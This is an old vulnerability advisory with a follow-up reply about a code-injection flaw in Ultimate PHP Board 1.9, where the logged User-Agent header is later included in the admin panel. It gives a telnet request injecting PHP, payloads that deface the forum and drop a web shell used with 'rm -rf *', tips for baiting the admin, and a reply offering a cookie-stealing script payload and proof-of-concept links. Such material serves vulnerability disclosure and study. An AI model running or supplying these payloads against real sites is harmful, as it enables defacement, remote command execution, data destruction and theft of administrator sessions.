UPB: Discussion Board/Web-Site Takeover

[euronymous]

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topic: UPB: Discussion Board/Web-Site Takeover
product: Ultimate PHP Board v1.9 [ latest ]
vendor: www.myupb.com
risk: high
date: 05/24/2k3
discovered by: euronymous /F0KP
advisory urls: http://f0kp.iplus.ru/bz/024.en.txt
http://f0kp.iplus.ru/bz/024.ru.txt
contact email: euronymous@iplus.ru
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description
-----------

there is serious vuln, that allow to attacker execute random php
code. the UPB logs some visitor info [ such as REMOTE_ADDR and
HTTP_USER_AGENT ] in text file under `db' directory named `iplog'.
then in admin panel board admin can to call admin_iplog.php, that
just include `iplog'. Thats 0k, but..

e@some_host$ telnet hostname 80
Connected to hostname at 80
GET /board/index.php HTTP/1.0
User-Agent: <? phpinfo(); ?>

when admin call the admin_iplog.php your php code will executed.

examples for kodsweb skids:

1. <? system( "echo \'hacked\' > ../index.html" ); ?>

will deface forum main page

2. <? system( "echo \'<? system( $cmd ); ?>\' > ../../tcsh.php" ); ?>

will create tcsh.php in wwwroot with httpd privileges.
then you just go to http://hostname/tcsh.php?cmd=rm -rf *

after inject code through User-Agent field you have wait for admin see
the admin_iplog.php. how to make admin see the iplog?? its quite easy
== just annoy the admin, use the swearing in board messages, etc.


bonus
-----

in http://www.securityfocus.com/archive/1/302459 i just wrote
about some vuln in prior versions of UPB. and i wanna say, that
some described vulns else exists in 1.9!!

have a nice day >:E


shouts: DWC, DHG, NetPoison, HUNGOSH, security.nnov.ru,
N0b0d13s Team and all russian security guyz!!
to kate especially ))
hates: slavomira and other dirty ppl in *.kz $#%&^!
k0dsweb lamers team == yeah, i really __HATE__ yours!!


================
im not a lame,
not yet a hacker
================

[rgod@autistici.org]

this is probably a hoax or an error, the system command is not executed, it's invisibile and inside the html... :) you can put a javascript instead and steal cookies. This is my proof of concept exploit:

http://www.rgod.altervista.org/upbgold196poc.php.txt

(if you have troubles with this script set allow_call_time_pass_reference = on
and register_globals = On)

otherwise you can make with telnet but in the user agent field you can make something like:

<script>alert(document.cookie)</script>

and when admin open ip log file the javascript will run in the security contest of his system...

however, you can craft some special urls, (look at this link: http://www.rgod.altervista.org/upbgold196xssurlspoc.txt ) to have same results...

sorry for my bad English

rgod

email: rgod@autistici.org
site: http://rgod@altervista.org